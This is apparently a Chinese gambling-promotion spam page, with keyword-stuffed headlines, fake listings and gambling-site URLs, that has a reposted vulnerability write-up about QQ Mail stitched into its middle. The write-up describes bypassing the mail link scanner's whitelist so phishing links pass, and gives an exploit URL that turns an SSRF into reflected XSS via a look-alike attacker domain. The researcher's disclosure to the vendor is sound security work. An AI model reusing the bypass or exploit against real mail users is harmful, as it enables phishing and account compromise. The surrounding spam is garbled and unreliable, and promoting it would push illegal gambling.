贵德县站 免费发布线束信息

澳门在线转盘-欢迎来到「澳门在线转盘安卓版下载」

05-27 06:29 信息编号:19lwvpv1x37865 我要留言
  • 舒兰市买卖汽车铭牌
  • 9604元
  • 商家/经纪人
  • 出租
  • 郝先生
  • 13729796482
  • 九江JJ现金游戏集团有限公司
澳门在线转盘收录查询:百度 搜狗 好搜 神马   分享更易传播
详情介绍

    澳门在线转盘穆雷澳网出局悲情更悲壮这会是他生涯最后一战?,董明珠上榜“2019中国最具影响力的商界领袖”单店资本是怎样获得巴菲特青睐的?25岁的巴菲特如何运作对冲基金?,王石:社会把我评价为公益先锋但我是被动的C罗开怼!专访时狂喷巴塞罗那人:总会酸我有钱又成功全球最伟大商界领袖是?比尔盖茨?蒂姆·库克?(榜单),【今日头条】张楠:农业投资数据,西媒评估武磊踢西甲100天:体育+商业全面受益互联网大佬“舌战”996:马云、刘强东、周鸿祎、张朝阳、李国庆,你...河北日报记者刘清波李巍张永利,阿扎尔当选2018年比利时最佳海外联赛球员,这也...CEO说丨李彦宏:智能家庭是百度要抢的另一个赛道,京媒:武磊只是西甲新生过分炒作可能害了他巴菲特最新市场判断:今年会继续增持股票马云,杨超越和996。

    澳门在线转盘范佩西:温格是我在足坛的父亲,感谢他的栽培,霍英东临终有何遗愿?牵挂北京奥运落叶归根香江贵广网络去年净利3.1亿元同比下滑29%董事长李巍薪酬79万元,哈登回忆晃倒穆雷:他摔倒的距离让我措手不及说金融巨鳄索罗斯抢购小米,可休矣!,李大霄:A股优质龙头蓝筹股还将续创新高大戏上演了,长线投资者如何赚钱?巴菲特建议买入标普基金勤俭持家的郭晶晶竟忙着投资它?10年价值升5倍,不愧是豪门儿媳!,退休后的王石:不再骄傲任性要戒糖式修炼?,阿扎尔:不在乎谁夺冠,我们可以击败任何对手主帅赞武磊:一直在利用他的优势攻防都很出色。

    澳门在线转盘主题图片

    QQ邮箱反射型xss漏洞 0x00  起因

    甲方“一个人的安全部”的时候,一个研发的同事在设计一项报表功能时,因为受到邮箱的安全限制无法很好的实现,于是将情况反馈给我。说实话,我对浏览器的安全也不太了解,案头的书翻了几页就没再动过,于是对比了腾讯邮箱的做法,发现了这个xss。

    0x01  背景

    公司使用coremail搭建企业邮箱,开发做了一个通过邮件发送html报表的周报,但在此邮件内有链接地址。邮箱的域名是a.com,而报表中的链接是b.com,当用户打开a.com内的报表邮件,点击其中的链接;因为邮件的内容是通过iframe来加载html报表,同时coremail将iframe加入了内容安全策略(CSP)限制(sandbox=“allow-same-origin allow-popups”)。所以,点击链接虽然可以跳转到b.com,但b.com页面有js脚本,sandbox不允许执行脚本(allow-scripts),会导致新打开的链接不会加载脚本执行,效果当然也不是开发想要的效果了。

    当然通过让厂商修改iframe的sandbox属性,改为sandbox=”allow-same-origin allow-popups allow-popups-to-escape-sandbox”,即可解决这个问题,但会影响邮箱的安全性。

    于是我打开qq邮箱,发现QQ邮箱并没有这个iframe策略,而是通过一个三方“云端安全检测”,对邮件内连接进行拦截,提示用户要访问的页面可能有风险。

    0x02  被src拒绝的“逻辑漏洞”

    于是多打开了几封QQ邮件,点击了邮件内的链接,发现腾讯对智联招聘、拉钩等招聘网站的链接不会进行拦截,直接放行跳转,所以这其中是否存在一定的逻辑绕过呢?

    测试过程就省略了,说结果吧,个人认为验证逻辑上还是有些问题:

    当邮件内容出现链接时,点击跳转,默认QQ邮箱会进行在云端进行拦截检测。但是会有白名单机制,比如 http://www.lagou.com ,会把拉钩的招聘链接进行放行,云端安全检测检->进行跳转放行,无任何提示。

    现有的逻辑如下:

    https://www.lagou.com 不放行(因为https,非白名单)

    www.lagou.com 不放行(不带有http,非白名单)

    http://xss.pirogue.org 不放行(非白名单)

    等等其他域名都不放行。

    但当第一行是http://www.lagou.com ,第二行的链接都会放行(除去色情或被举报的网址)。

    比如:

    两个链接都会进行跳转。

    如果第一个是http://www.lagou.com ,第二行的网址是一个钓鱼或挂马的链接,却没有被举报。那用户便可能会受到攻击。

    后来的结果是大家都知道了,被忽略了。这点我没啥争议,不是漏洞也没关系,我想一探究竟,它是通过js获取邮件内的链接,遇到点击事件就丢到三方“云端url检测”的吗?所以在审计js代码的过程中手机游戏玩捕鱼有,一不小心发现了一个类ssrf漏洞。

    0x03  鸡肋ssrf变身反射型xss

    ssrf漏洞

    原功能链接:

    https://mail.qq.com/cgi-bin/magurl?sid=e6tvxdAtN0XOUGoz&act=rep&url=http://x.soso.com/js/xf/xflib2.0.js

    这个cgi读取到了js的内容

    漏洞截图:

    https://mail.qq.com/cgi-bin/magurl?sid=e6tvxdAtN0XOUGoz&act=rep&url=http://ip.qq.com/

    但此ssrf限制了域名,比如.qq.com,.soso.com,等等腾讯自己的域名。所以除非你能再挖到腾讯自己的域名下的漏洞来结合使用。可是我们还可以测试一下是否可以绕过域名的白名单机制。

    反射型xss漏洞

    于是我构造了如下的url,成功绕过了白名单,提交了此漏洞:

    构造的恶意链接:http://mail.qq.com.pirogue.org/qq.com.html内容如下:

    Exp:

    https://mail.qq.com/cgi-bin/magurl?sid=e6tvxdAtN0XOUGoz&act=rep&url=http://mail.qq.com.pirogue.org/qq.com.html

    仔细看url链接里面存在一个sid,在后来的tsrc自测时发现,此sid只能是收件人的sid才能触发漏洞。额,有点self-xss的意思咯。但tsrc还是根据可能的危害程度,给了漏洞中危的回复。

    0x04   结语

    之前在搞一个目标的时候还挖到了一个QQ企业邮箱的存储型xss,但那个存储型xss没啥技术含量,而这个反射的起因到结果还是挺有趣的,所以迫不及待的想分享给大家。

    本文转自博客:pirogue

    原文链接:http://pirogue.org/2017/08/25/qqmailxss/

    本文来自大风号,仅代表大风号自媒体观点。

    亚搏体育客户端

    澳门在线转盘主题图片

    澳门在线转盘郭台铭和马云吵架怎么回事郭台铭和马云谁有钱?,最前线|一改往日形象,厚道的雷军为何忽然“变脸”?9000万!曝曼联今夏挖意甲铁闸穆里尼奥曾钦点他霍英东出身贫寒青年发家帮助中国重返奥委会,范佩西侮辱对手被禁赛3场或因故意滑跪庆祝许家印:恒大近五年内不会再涉足其他新产业穆雷:三巨头夹缝中的巨星遗憾梦幻时刻太短暂,任志强谈房价:下一轮涨价比这一轮更高,被曝尺寸的穆雷获赠超大尺寸玩具四蛋:早日康复那些年穆里尼奥的经典庆祝,霸气而引人注目!比尔盖茨:盖茨基金会与中国药监局合作推动加快新药审核,许家印终于对新能源下手了评论区又被攻占了西甲-武磊制造进球锋霸双响炮西班牙人2-0客胜,罗马失纳因戈兰转攻纳尼德罗西去留7月底揭晓?避免十年来进球最少的赛季,留给C罗的时间只剩2场联赛阿德巴约:和温格相比穆帅简直是在杀人有次C罗戴帽却被他臭骂。

    本地区澳门在线转盘相关求购资讯:

  • 湛江ewin机械公司求购切割设备
  • 廉江888yule股份公司求购五金管件
  • 萍乡ok工程集团有限公司利拉德:被逼至悬崖边后别无选择,欲捍卫主场,争重返丹佛
  • 九江777能源装备有限公司因支持阿桑奇厄瓜多尔前外长上了国际刑警通缉令
  • 内心引力 电影气馁?尤文已瞄准下季500万镑+杀招求购范佩西

澳门在线转盘-求购信息图片

澳门在线转盘简介

澳门在线转盘-欢迎来到「澳门在线转盘专业体育平台」,澳门在线转盘国际娱乐官网【特邀网址YPBA.vip】是亚洲首家大型网上游戏平台(dubaisweety.com),澳门在线转盘国际娱乐平台欢迎加入体验更多不一样的精彩,澳门在线转盘国际娱乐手机登录是亚洲玩家最喜欢的在线博彩平台之一

C罗:每年都要证明自己?因人们端着枪等着杀了我,穆里尼奥:曼联一直在"自杀"我们不犯错阿森纳就没机会,包养女星最多的富豪之罗兆辉、林建岳,【图】传曾子墨曾和投行俩上司有染老公黎辉背景揭秘,时隔六年再进季后赛穆雷:我们要继续向前,曝申花曾天价追荷兰巨星范佩西:这不是钱的事,NBA国际球员观察:一场超神一场超鬼穆雷是加拿大X因素,马化腾只是腾讯“第二”?神秘大股东所持股权价值1411亿美元,银隆官方发文表示传言属实,董明珠的造车之路“稳”了吗?,电视剧北上广依然相信爱情片尾曲首播余枫《暧昧反转》MP3歌词下载,王卫:“嘿客”的经营模式并非全国统一,湖人球迷爆粗口大骂穆雷兰德尔和约基奇起冲突。

郝女士

发布时间:2019-05-27 04:52
公司名称:萍乡kk家具公司
信用记录

实时商业资讯热点